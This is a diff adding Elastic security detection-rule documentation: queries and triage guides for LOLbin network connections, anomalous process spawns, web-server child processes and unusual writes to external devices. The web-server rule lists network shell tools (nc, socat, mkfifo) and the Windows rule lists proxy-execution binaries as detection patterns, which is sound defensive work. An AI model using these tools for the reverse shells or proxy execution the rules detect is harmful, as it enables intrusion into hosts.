b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-process-network-connection.asciidoc @@ -0,0 +1,144 @@ +[[prebuilt-rule-8-19-20-unusual-process-network-connection]] +=== Unusual Process Network Connection + +Identifies network activity from unexpected system applications. This may indicate adversarial activity as these applications are often leveraged by adversaries to execute code and evade detection. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-endpoint.events.network-* +* logs-windows.sysmon_operational-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne + +*Version*: 212 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Unusual Process Network Connection* + + +This rule identifies network activity from unexpected system utilities and applications. These applications are commonly abused by attackers to execute code, evade detections, and bypass security protections. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Investigate the target host that the process is communicating with. +- Assess whether this behavior is prevalent in the environment by looking for similar occurrences across hosts. + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved hosts to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Review the privileges assigned to the user to ensure that the least privilege principle is being followed. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by process.entity_id + [process where host.os.type == "windows" and (process.name : "Microsoft.Workflow.Compiler.exe" or + process.name : "bginfo.exe" or + process.name : "cdb.exe" or + process.name : "cmstp.exe" or + process.name : "csi.exe" or + process.name : "dnx.exe" or + process.name : "fsi.exe" or + process.name : "ieexec.exe" or + process.name : "iexpress.exe" or + process.name : "odbcconf.exe" or + process.name : "rcsi.exe" or + process.name : "xwizard.exe") and + event.type == "start"] + [network where host.os.type == "windows" and (process.name : "Microsoft.Workflow.Compiler.exe" or + process.name : "bginfo.exe" or + process.name : "cdb.exe" or + process.name : "cmstp.exe" or + process.name : "csi.exe" or + process.name : "dnx.exe" or + process.name : "fsi.exe" or + process.name : "ieexec.exe" or + process.name : "iexpress.exe" or + process.name : "odbcconf.exe" or + process.name : "rcsi.exe" or + process.name : "xwizard.exe")] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Trusted Developer Utilities Proxy Execution +** ID: T1127 +** Reference URL: https://attack.mitre.org/techniques/T1127/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: CMSTP +** ID: T1218.003 +** Reference URL: https://attack.mitre.org/techniques/T1218/003/ +* Sub-technique: +** Name: Odbcconf +** ID: T1218.008 +** Reference URL: https://attack.mitre.org/techniques/T1218/008/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-process-spawned-by-a-parent-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-process-spawned-by-a-parent-process.asciidoc new file mode 100644 index 0000000000..ef32e80079 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-process-spawned-by-a-parent-process.asciidoc @@ -0,0 +1,140 @@ +[[prebuilt-rule-8-19-20-unusual-process-spawned-by-a-parent-process]] +=== Unusual Process Spawned by a Parent Process + +A machine learning job has detected a suspicious Windows process. This process has been classified as malicious in two ways. It was predicted to be malicious by the ProblemChild supervised ML model, and it was found to be an unusual child process name, for the parent process, by an unsupervised ML model. Such a process may be an instance of suspicious or malicious activity, possibly involving LOLbins, that may be resistant to detection using conventional search rules. + +*Rule type*: machine_learning + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 15m + +*Searches indices from*: now-45m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html +* https://docs.elastic.co/en/integrations/problemchild +* https://www.elastic.co/security-labs/detecting-living-off-the-land-attacks-with-new-elastic-integration + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Living off the Land Attack Detection +* Rule Type: ML +* Rule Type: Machine Learning +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 111 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual Process Spawned by a Parent Process* + + +In Windows environments, processes are often spawned by parent processes to perform legitimate tasks. However, adversaries can exploit this by using legitimate tools, known as LOLbins, to execute malicious activities stealthily. The detection rule leverages machine learning to identify anomalies in process creation patterns, flagging processes that deviate from typical behavior, thus uncovering potential threats that evade traditional detection methods. + + +*Possible investigation steps* + + +- Review the parent process and child process names to determine if they are known legitimate applications or if they are commonly associated with LOLbins or other malicious activities. +- Check the process creation time and correlate it with any known user activity or scheduled tasks to identify if the process execution aligns with expected behavior. +- Investigate the command line arguments used by the suspicious process to identify any unusual or potentially malicious commands or scripts being executed. +- Analyze the network activity associated with the process to detect any suspicious outbound connections or data exfiltration attempts. +- Examine the file path and hash of the executable to verify its legitimacy and check against known malware databases or threat intelligence sources. +- Review any recent changes to the system, such as software installations or updates, that might explain the unusual process behavior. +- Consult endpoint detection and response (EDR) logs or other security tools to gather additional context and evidence related to the process and its activities. + + +*False positive analysis* + + +- Legitimate administrative tools like PowerShell or command prompt may be flagged when used for routine tasks. Users can create exceptions for these tools when executed by known and trusted parent processes. +- Software updates or installations often spawn processes that might appear unusual. Exclude these processes by identifying their typical parent-child relationships during updates. +- Custom scripts or automation tools used within the organization might trigger alerts. Document these scripts and their expected behavior to create exceptions for them. +- Frequent use of remote management tools can lead to false positives. Ensure these tools are whitelisted when used by authorized personnel. +- Regularly review and update the list of exceptions to accommodate changes in legitimate process behaviors over time. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further spread of the potential threat and to contain any malicious activity. +- Terminate the suspicious process identified by the alert to stop any ongoing malicious actions. +- Conduct a thorough analysis of the process and its parent to understand the scope of the compromise and identify any additional malicious activities or files. +- Remove any malicious files or artifacts associated with the process from the system to ensure complete remediation. +- Restore the system from a known good backup if the integrity of the system is compromised beyond repair. +- Update and patch the system to close any vulnerabilities that may have been exploited by the adversary. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. + +==== Setup + + + +*Setup* + + +The rule requires the Living off the Land (LotL) Attack Detection integration assets to be installed, as well as Windows process events collected by integrations such as Elastic Defend or Winlogbeat. + + +*LotL Attack Detection Setup* + +The LotL Attack Detection integration detects living-off-the-land activity in Windows process events. + + +*Prerequisite Requirements:* + +- Fleet is required for LotL Attack Detection. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. +- Windows process events collected by the https://docs.elastic.co/en/integrations/endpoint[Elastic Defend] integration or Winlogbeat(https://www.elastic.co/guide/en/beats/winlogbeat/current/_winlogbeat_overview.html). +- To install Elastic Defend, refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[documentation]. +- To set up and run Winlogbeat, follow https://www.elastic.co/guide/en/beats/winlogbeat/current/winlogbeat-installation-configuration.html[this] guide. + + +*The following steps should be executed to install assets associated with the LotL Attack Detection integration:* + +- Go to the Kibana homepage. Under Management, click Integrations. +- In the query bar, search for Living off the Land Attack Detection and select the integration to see more details about it. +- Follow the instructions under the **Installation** section. +- For this rule to work, complete the instructions through **Add preconfigured anomaly detection jobs**. + + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-process-spawned-by-a-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-process-spawned-by-a-user.asciidoc new file mode 100644 index 0000000000..43fe8ce6a4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-process-spawned-by-a-user.asciidoc @@ -0,0 +1,139 @@ +[[prebuilt-rule-8-19-20-unusual-process-spawned-by-a-user]] +=== Unusual Process Spawned by a User + +A machine learning job has detected a suspicious Windows process. This process has been classified as malicious in two ways. It was predicted to be malicious by the ProblemChild supervised ML model, and it was found to be suspicious given that its user context is unusual and does not commonly manifest malicious activity,by an unsupervised ML model. Such a process may be an instance of suspicious or malicious activity, possibly involving LOLbins, that may be resistant to detection using conventional search rules. + +*Rule type*: machine_learning + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 15m + +*Searches indices from*: now-45m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html +* https://docs.elastic.co/en/integrations/problemchild +* https://www.elastic.co/security-labs/detecting-living-off-the-land-attacks-with-new-elastic-integration + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Living off the Land Attack Detection +* Rule Type: ML +* Rule Type: Machine Learning +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 111 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual Process Spawned by a User* + + +The detection of unusual processes spawned by users leverages machine learning to identify anomalies in user behavior and process execution. Adversaries often exploit legitimate tools, known as LOLbins, to evade detection. This rule uses both supervised and unsupervised ML models to flag processes that deviate from typical user activity, indicating potential misuse or masquerading tactics. + + +*Possible investigation steps* + + +- Review the user context associated with the alert to determine if the user has a history of spawning unusual processes or if this is an isolated incident. +- Examine the specific process flagged by the alert, including its command line arguments, parent process, and any associated network activity, to identify potential indicators of compromise. +- Check for the presence of known LOLbins or other legitimate tools that may have been exploited, as indicated by the alert's focus on defense evasion tactics. +- Investigate any recent changes in the user's behavior or system configuration that could explain the anomaly, such as software updates or new application installations. +- Correlate the alert with other security events or logs from the same timeframe to identify any related suspicious activities or patterns. +- Assess the risk score and severity level in the context of the organization's threat landscape to prioritize the response and determine if further action is needed. + + +*False positive analysis* + + +- Legitimate administrative tools may trigger false positives if they are used in atypical contexts. Users should review the context of the process execution and, if deemed safe, add these tools to an exception list to prevent future alerts. +- Scheduled tasks or scripts that run infrequently might be flagged as unusual. Verify the legitimacy of these tasks and consider excluding them if they are part of regular maintenance or updates. +- Software updates or installations can spawn processes that appear anomalous. Confirm the source and purpose of these updates, and if they are routine, create exceptions for these specific processes. +- Developers or IT personnel using command-line tools for legitimate purposes may trigger alerts. Evaluate the necessity of these tools in their workflow and whitelist them if they are consistently used in a non-malicious manner. +- New or infrequently used applications might be flagged due to lack of historical data. Assess the application's legitimacy and, if appropriate, add it to a list of known safe applications to reduce false positives. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further spread or communication with potential command and control servers. +- Terminate the suspicious process identified by the alert to halt any ongoing malicious activity. +- Conduct a thorough review of the user's recent activity and access logs to identify any unauthorized actions or data access. +- Reset the credentials of the affected user account to prevent further unauthorized access, ensuring that strong, unique passwords are used. +- Scan the system for additional indicators of compromise, such as other unusual processes or modifications to system files, and remove any identified threats. +- Restore the system from a known good backup if any critical system files or configurations have been altered. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. + +==== Setup + + + +*Setup* + + +The rule requires the Living off the Land (LotL) Attack Detection integration assets to be installed, as well as Windows process events collected by integrations such as Elastic Defend or Winlogbeat. + + +*LotL Attack Detection Setup* + +The LotL Attack Detection integration detects living-off-the-land activity in Windows process events. + + +*Prerequisite Requirements:* + +- Fleet is required for LotL Attack Detection. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. +- Windows process events collected by the https://docs.elastic.co/en/integrations/endpoint[Elastic Defend] integration or Winlogbeat(https://www.elastic.co/guide/en/beats/winlogbeat/current/_winlogbeat_overview.html). +- To install Elastic Defend, refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[documentation]. +- To set up and run Winlogbeat, follow https://www.elastic.co/guide/en/beats/winlogbeat/current/winlogbeat-installation-configuration.html[this] guide. + + +*The following steps should be executed to install assets associated with the LotL Attack Detection integration:* + +- Go to the Kibana homepage. Under Management, click Integrations. +- In the query bar, search for Living off the Land Attack Detection and select the integration to see more details about it. +- Follow the instructions under the **Installation** section. +- For this rule to work, complete the instructions through **Add preconfigured anomaly detection jobs**. + + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-process-spawned-from-web-server-parent.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-process-spawned-from-web-server-parent.asciidoc new file mode 100644 index 0000000000..f9fcad26bf --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-process-spawned-from-web-server-parent.asciidoc @@ -0,0 +1,281 @@ +[[prebuilt-rule-8-19-20-unusual-process-spawned-from-web-server-parent]] +=== Unusual Process Spawned from Web Server Parent + +This rule detects unusual processes spawned from a web server parent process by identifying low frequency counts of process spawning activity. Unusual process spawning activity may indicate an attacker attempting to establish persistence, execute malicious commands, or establish command and control channels on the host system. ESQL rules have limited fields available in its alert documents. Make sure to review the original documents to aid in the investigation of this alert. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 1h + +*Searches indices from*: now-61m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Execution +* Tactic: Command and Control +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 11 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual Process Spawned from Web Server Parent* + + +Web servers like Apache, Nginx, and others are crucial for hosting applications and services. Adversaries exploit these servers by spawning unauthorized processes to maintain persistence or execute malicious commands. The detection rule identifies anomalies by monitoring low-frequency process spawns from web server parents, focusing on unusual user IDs, directories, and process counts, which may indicate potential threats. + + +*Possible investigation steps* + + +- Review the process.executable and process.command_line fields to understand the nature of the process that was spawned and assess if it aligns with expected behavior for the web server environment. +- Examine the process.working_directory to determine if the directory is a legitimate location for web server operations or if it appears suspicious, such as being outside typical web server directories. +- Check the user.name and user.id fields to verify if the process was executed by a legitimate web server user or if it was initiated by an unexpected or unauthorized user account. +- Investigate the process.parent.executable to confirm whether the parent process is a known and trusted web server executable or if it has been tampered with or replaced. +- Correlate the event with other logs or alerts from the same agent.id to identify any additional suspicious activities or patterns that may indicate a broader compromise. +- Assess the host.os.type to ensure the alert pertains to a Linux system, as specified in the query, and verify if there are any known vulnerabilities or misconfigurations on the host that could have been exploited. + + +*False positive analysis* + + +- Processes related to legitimate web server maintenance tasks may trigger alerts. Review scheduled tasks or cron jobs that align with the alert timing and consider excluding these specific processes if they are verified as non-threatening. +- Development environments often spawn processes that mimic attack patterns. Identify and exclude processes originating from known development directories or executed by development user accounts. +- Automated scripts or monitoring tools running under web server user accounts can be mistaken for malicious activity. Verify these scripts and add exceptions for their specific process names or working directories. +- Frequent updates or deployments in web applications can lead to unusual process spawns. Document these activities and exclude related processes if they consistently match the alert criteria during known update windows. +- Custom web server modules or plugins may execute processes that appear suspicious. Validate these modules and exclude their associated processes if they are part of normal operations. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further malicious activity and potential lateral movement. +- Terminate any suspicious processes identified by the alert that are not part of legitimate web server operations. +- Conduct a thorough review of the process command lines and executables flagged by the alert to identify any malicious scripts or binaries. Remove or quarantine these files as necessary. +- Check for unauthorized changes in web server configurations or files within the working directories flagged by the alert. Restore any altered files from a known good backup. +- Review user accounts and permissions associated with the web server processes to ensure no unauthorized accounts or privilege escalations have occurred. Reset passwords and revoke unnecessary access. +- Monitor network traffic from the affected host for any signs of command and control communication, and block any identified malicious IP addresses or domains. +- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional systems are compromised. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-endpoint.events.process-* metadata _id, _index, _version +| mv_expand event.action +| where + host.os.type == "linux" and + event.type == "start" and + event.action == "exec" and ( + ( + process.parent.name in ( + "apache", "nginx", "apache2", "httpd", "lighttpd", "caddy", "mongrel_rails", "gunicorn", + "uwsgi", "openresty", "cherokee", "h2o", "resin", "puma", "unicorn", "traefik", "tornado", "hypercorn", + "daphne", "twistd", "yaws", "webfsd", "httpd.worker", "flask", "rails", "mongrel", "php-cgi", + "php-fcgi", "php-cgi.cagefs", "catalina.sh", "hiawatha", "lswsctrl" + ) or + process.parent.name like "php-fpm*" or + user.name in ("apache", "www-data", "httpd", "nginx", "lighttpd", "tomcat", "tomcat8", "tomcat9") or + user.id in ("33", "498", "48") or + (process.parent.name == "java" and process.parent.working_directory like "/u0?/*") or + process.parent.working_directory like "/var/www/*" + ) + ) and ( + process.name in ( + "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "socat", "openssl", "busybox", + "nc", "ncat", "netcat", "nc.openbsd", "nc.traditional", "nohup", "setsid", "mkfifo", "mknod", + "node", "socket" + ) or + process.name like "python*" or + process.name like "php*" or + process.name like "perl" or + process.name like "ruby*" or + process.name like "lua*" or + process.executable like "/tmp/*" or + process.executable like "/var/tmp/*" or + process.executable like "/dev/shm/*" or + process.executable like "/var/log/*" or + process.executable like "/sys/*" or + process.executable like "/media/*" or + process.executable like "/proc/*" or + process.executable like "/var/backups/*" or + process.executable like "/var/mail/*" or + process.executable like "/var/spool/*" or + process.executable like "/var/www/*" or + process.executable like "./*" or + process.name like ".*" + ) and + not ( + process.working_directory like "/home/*" or + process.working_directory == "/" or + process.working_directory like "/var/www/*.ch" or + process.parent.executable like "/vscode/vscode-server/*" + ) + +| keep + @timestamp, + _id, + _index, + _version, + host.os.type, + event.type, + event.action, + process.parent.name, + user.name, + user.id, + process.working_directory, + process.parent.working_directory, + process.name, + process.executable, + process.command_line, + process.parent.executable, + agent.id, + host.name, + event.dataset, + data_stream.namespace + +| stats + Esql.event_count = count(), + Esql.agent_id_count_distinct = count_distinct(agent.id), + Esql.host_name_values = values(host.name), + Esql.agent_id_values = values(agent.id), + Esql.event_dataset_values = values(event.dataset), + Esql.data_stream_namespace_values = values(data_stream.namespace) + + by process.executable, process.working_directory, process.parent.executable + +| where + Esql.agent_id_count_distinct == 1 and + Esql.event_count < 5 +| sort Esql.event_count asc + +// Extract unique values to ECS fields for alerts exclusion +| eval agent.id = mv_min(Esql.agent_id_values), + host.name = mv_min(Esql.host_name_values) + +| keep agent.id, host.name, process.executable, process.working_directory, process.parent.executable, Esql.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Server Software Component +** ID: T1505 +** Reference URL: https://attack.mitre.org/techniques/T1505/ +* Sub-technique: +** Name: Web Shell +** ID: T1505.003 +** Reference URL: https://attack.mitre.org/techniques/T1505/003/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Sub-technique: +** Name: Python +** ID: T1059.006 +** Reference URL: https://attack.mitre.org/techniques/T1059/006/ +* Sub-technique: +** Name: JavaScript +** ID: T1059.007 +** Reference URL: https://attack.mitre.org/techniques/T1059/007/ +* Sub-technique: +** Name: Lua +** ID: T1059.011 +** Reference URL: https://attack.mitre.org/techniques/T1059/011/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-process-writing-data-to-an-external-device.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-process-writing-data-to-an-external-device.asciidoc new file mode 100644 index 0000000000..c411e86a98 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-process-writing-data-to-an-external-device.asciidoc @@ -0,0 +1,136 @@ +[[prebuilt-rule-8-19-20-unusual-process-writing-data-to-an-external-device]] +=== Unusual Process Writing Data to an External Device + +A machine learning job has detected a rare process writing data to an external device. Malicious actors often use benign-looking processes to mask their data exfiltration activities. The discovery of such a process that has no legitimate reason to write data to external devices can indicate exfiltration. + +*Rule type*: machine_learning + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 15m + +*Searches indices from*: now-2h ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html +* https://docs.elastic.co/en/integrations/ded +* https://www.elastic.co/blog/detect-data-exfiltration-activity-with-kibanas-new-integration + +*Tags*: + +* Use Case: Data Exfiltration Detection +* Rule Type: ML +* Rule Type: Machine Learning +* Tactic: Exfiltration +* Resources: Investigation Guide + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual Process Writing Data to an External Device* + + +In modern environments, processes may write data to external devices for legitimate reasons, such as backups or data transfers. However, adversaries can exploit this by using seemingly harmless processes to exfiltrate sensitive data. The detection rule leverages machine learning to identify rare processes engaging in such activities, flagging potential exfiltration attempts by analyzing deviations from typical behavior patterns. + + +*Possible investigation steps* + + +- Review the process name and path to determine if it is commonly associated with legitimate activities or known software. +- Check the user account associated with the process to verify if it has the necessary permissions and if the activity aligns with the user's typical behavior. +- Analyze the external device's details, such as its type and connection history, to assess if it is a recognized and authorized device within the organization. +- Investigate the volume and type of data being written to the external device to identify any sensitive or unusual data transfers. +- Correlate the process activity with other security events or logs to identify any concurrent suspicious activities or anomalies. +- Consult with the user or department associated with the process to confirm if the data transfer was authorized and necessary. + + +*False positive analysis* + + +- Backup processes may trigger alerts when writing data to external devices. Users should identify and whitelist legitimate backup applications to prevent false positives. +- Data transfer applications used for legitimate business purposes can be flagged. Regularly review and approve these applications to ensure they are not mistakenly identified as threats. +- Software updates or installations that involve writing data to external devices might be detected. Establish a list of known update processes and exclude them from triggering alerts. +- IT maintenance activities, such as system diagnostics or hardware testing, can cause false positives. Document and exclude these routine processes to avoid unnecessary alerts. +- User-initiated file transfers for legitimate reasons, such as moving large datasets for analysis, should be monitored and approved to prevent misclassification. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further data exfiltration and contain the threat. +- Identify and terminate the suspicious process writing data to the external device to stop any ongoing exfiltration activities. +- Conduct a forensic analysis of the affected system to determine the scope of the data exfiltration, including what data was accessed or transferred. +- Review and revoke any compromised credentials or access permissions associated with the affected process to prevent unauthorized access. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement additional monitoring on the affected system and similar environments to detect any recurrence of the threat or related suspicious activities. +- Update security policies and controls to prevent similar exfiltration attempts, such as restricting process permissions to write to external devices and enhancing endpoint protection measures. + +==== Setup + + + +*Setup* + + +The rule requires the Data Exfiltration Detection integration assets to be installed, as well as network and file events collected by integrations such as Elastic Defend and Network Packet Capture (for network events only). + + +*Data Exfiltration Detection Setup* + +The Data Exfiltration Detection integration detects data exfiltration activity by identifying abnormalities in network and file events. Anomalies are detected using Elastic's Anomaly Detection feature. + + +*Prerequisite Requirements:* + +- Fleet is required for Data Exfiltration Detection. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. +- File events collected by the Elastic Defend integration. +- To install Elastic Defend, refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[documentation]. + + +*The following steps should be executed to install assets associated with the Data Exfiltration Detection integration:* + +- Go to the Kibana homepage. Under Management, click Integrations. +- In the query bar, search for Data Exfiltration Detection and select the integration to see more details about it. +- Follow the instructions under the **Installation** section. +- For this rule to work, complete the instructions through **Add preconfigured anomaly detection jobs**. + + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over Physical Medium +** ID: T1052 +** Reference URL: https://attack.mitre.org/techniques/T1052/ +* Sub-technique: +** Name: Exfiltration over USB +** ID: T1052.001 +** Reference URL: https://attack.mitre.org/techniques/T1052/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-region-name-for-okta-privileged-operations-detected.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-region-name-for-okta-privileged-operations-detected.asciidoc new file mode 100644 index 0000000000..a2d3704615 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-region-name-for-okta-privileged-operations-detected.asciidoc @@ -0,0 +1,144 @@ 